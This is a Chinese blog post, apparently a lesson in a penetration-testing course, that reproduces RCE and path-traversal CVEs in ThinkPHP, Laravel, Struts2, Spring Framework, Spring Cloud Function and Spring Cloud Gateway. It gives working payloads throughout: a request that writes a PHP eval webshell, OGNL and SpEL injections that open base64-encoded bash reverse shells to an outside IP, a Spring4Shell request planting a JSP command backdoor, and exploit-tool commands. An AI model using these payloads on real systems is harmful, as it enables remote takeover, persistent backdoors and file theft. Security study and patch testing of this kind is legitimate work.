首页 > 编程语言 >【第81课】开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

【第81课】开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

时间:2024-08-27 09:53:30浏览次数:15  
标签:Laravel zh SpringBoot .. Spring Accept +% CVE

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点:
1、PHP-框架安全-Thinkphp&Laravel
2、J2EE-框架安全-SpringBoot&Struts2

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

框架下面会有很多组件(插件)

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

在这里插入图片描述

一、演示案例-PHP-框架安全-Thinkphp&Laravel

Laravel

是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。
在这里插入图片描述

CVE-2021-3129 RCE

影响版本:

Laravel <= 8.4.2
  • 1

在这里插入图片描述

利用工具

GitHub - zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
GitHub - SecPros-Team/laravel-CVE-2021-3129-EXP

Thinkphp

版本3.X RCE-6.X RCE

在这里插入图片描述

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
在这里插入图片描述
在这里插入图片描述
综合工具:武器库-Thinkphp专检(3-6版本)
工具箱下载:One-Fox工具箱V7魔改版_onefox集成工具箱-CSDN博客

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

版本6.X lang RCE

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
payload:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/x.php

在这里插入图片描述
在这里插入图片描述

二、演示案例-J2EE-框架安全-SpringBoot&Struts2

Struct2

Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。
可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。

在这里插入图片描述

旧漏洞(CVE-2016-0785等)

老的漏洞工具直接梭哈就行
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

struts2 代码执行 (CVE-2020-17530)s2-061

影响版本:

Apache Struts 2.0.0 - 2.5.25

在这里插入图片描述
在这里插入图片描述
工具虽然说没提供此漏洞的利用功能,但是实际上还是能执行RCE
在这里插入图片描述

GitHub - pyroxenites/s2-062: 远程代码执行S2-062 CVE-2021-31805验证POC
(该脚本支持S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE)

python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Struts2 代码执行 (CVE-2021-31805)s2-062

影响版本

Apache Struts 2.0.0 - 2.5.29

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

post /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SpringBoot

监控配置不当利用

见前面Actuator-heapdump利用讲解
参考地址:
WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE_java spring反序列化-CSDN博客

Spring Boot 目录遍历 (CVE-2021-21234)

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。
在这里插入图片描述
复现参考:
springboot任意文件读取 CVE-2021-21234-CSDN博客

payload

windows
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

在这里插入图片描述
在这里插入图片描述

linux
http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../

在这里插入图片描述
在这里插入图片描述

Spring Cloud Function Spel表达式注入 CVE-2022-22963

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

复现参考:Spring Cloud Function SPEL 远程命令执行漏洞-阿里云开发者社区

payload

POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
123

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。

影响版本:

Spring Framework < 5.3.18
Spring Framework < 5.2.20
Spring Framework 的衍生框架构建的网站或应用

复现参考:https://www.csdn.net/article/2022-11-24/128026635

1、写后门tomcatwar.jsp

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

在这里插入图片描述
2、访问jsp触发后门
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id

3、工具项目
GitHub - BobTheShoplifter/Spring4Shell-POC: Spring4Shell Proof Of Concept/And vulnerable application CVE-2022-22965
在这里插入图片描述

python poc.py --url=http://192.168.44.131/

在这里插入图片描述

http://192.168.44.131/tomcatwar.jsp?pwd=j&cmd=whoami

在这里插入图片描述
如何让脚本走bp呢?
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Spring boot命令执行 (CVE-2022-22947)

影响版本:

Spring Cloud Gateway是Spring中的一个API网关。
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考:Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)-腾讯云开发者社区-腾讯云

1、首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包:

POST /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
2、然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:

POST /actuator/gateway/refresh HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述
3、之后,访问 test 路由地址,查看命令执行结果,发送如下数据包:

GET /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述
4、最后,删除所添加的 test 路由,发送如下数据包:

DELETE /actuator/gateway/routes/test HTTP/1.1
Host: www.luckysec.cn:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0

在这里插入图片描述
可利用 SpringBootExploit 工具,输入目标地址进行检测环境,使用 SpringCloudGateway 利用链获取目标服务器权限
在这里插入图片描述
漏洞利用成功后,根据提示内容访问 webshell 地址,执行系统命令验证即可。
在这里插入图片描述

综合CVE利用工具

1、GitHub - 0x727/SpringBootExploit: 项目是根据LandGrey/SpringBootVulExploit清单编写,目的hvv期间快速利用漏洞、降低漏洞利用门槛。
在这里插入图片描述
2、GitHub - 13exp/SpringBoot-Scan-GUI
在这里插入图片描述
3、更多工具利用请参考:SpringBoot漏洞利用-CSDN博客

标签:Laravel,zh,SpringBoot,..,Spring,Accept,+%,CVE
From: https://blog.csdn.net/Lucker_YYY/article/details/141592815

相关文章

  • 【第82课】开发组件安全&Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现
    免责声明本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。文中所涉......
  • 【万字文档+源码】基于springboot+vue的精品水果线上销售网站-可用于毕设-课程设计-练
    博主简介:......
  • springboot网上点餐系统
    运行环境环境说明:开发语言:java框架:springboot,vueJDK版本:JDK1.8数据库:mysql5.7+(推荐5.7,8.0也可以)数据库工具:Navicat11+开发软件:idea/eclipse(推荐idea)Maven包:Maven3.3.9+系统实现用户功能模块用户点击进入到系统操作界面,可以对首页、个人中心、美食订单......
  • 基于springboot的房屋租赁系统
     运行环境环境说明:开发语言:java框架:springboot,vueJDK版本:JDK1.8数据库:mysql5.7+(推荐5.7,8.0也可以)数据库工具:Navicat11+开发软件:idea/eclipse(推荐idea)Maven包:Maven3.3.9+系统的实现 租客功能模块的实现系统主界面租客进入本系统可查看系统信息,包括首......
  • 基于Java+SpringBoot+Mysql实现高校教务信息系统功能设计与实现二
    一、前言介绍:1.1项目摘要高校教务信息系统课题的提出,主要源于高校日常管理工作的复杂性和重要性。作为高校的基本任务,人才培养离不开教学与管理工作的有效组织和协调。教务管理作为高校日常管理的核心组成部分,涉及教学资源的合理配置、教学过程的科学规划以及教学质量的......
  • 基于Java+SpringBoot+Mysql实现高校教务信息系统功能设计与实现三
    一、前言介绍:1.1项目摘要高校教务信息系统课题的提出,主要源于高校日常管理工作的复杂性和重要性。作为高校的基本任务,人才培养离不开教学与管理工作的有效组织和协调。教务管理作为高校日常管理的核心组成部分,涉及教学资源的合理配置、教学过程的科学规划以及教学质量的......
  • 【含文档】基于Springboot+Vue的流浪猫狗救助救援系统(含源码数据库)
    1.开发环境开发系统:Windows10/11架构模式:MVC/前后端分离JDK版本:JavaJDK1.8开发工具:IDEA数据库版本:mysql5.7或8.0数据库可视化工具:navicat服务器:SpringBoot自带apachetomcat主要技术:Java,Springboot,mybatis,mysql,vue2.视频演示地址3.功能该系统......
  • springboot面试题——简化提纯版-备战春招,秋招
    0、说一下springboot的优缺点1)优点快速构建项目。对主流开发框架的无配置集成。项目可独立运行,无须外部依赖Servlet容器。提供运行时的应用监控。极大地提高了开发、部署效率。与云计算的天然集成。2)缺点版本迭代速度很快,一些模块改动很大。由于不用自己做配置,报错时......
  • 如何构建KPL比赛在线售票系统——Java SpringBoot与Vue的完美结合
    ......
  • springboot校园快递_物品代取APP-计算机毕业设计源码85594
    摘要本论文基于SpringBoot框架,设计并实现了一款校园快递/物品代取APP。该应用旨在为校园用户提供便捷、高效、可靠的快递配送服务和物品代取服务,解决校园内快递配送和物品代取过程中的问题和痛点。首先,通过对校园快递和物品代取流程的分析和需求调研,确定了系统的功能模块和......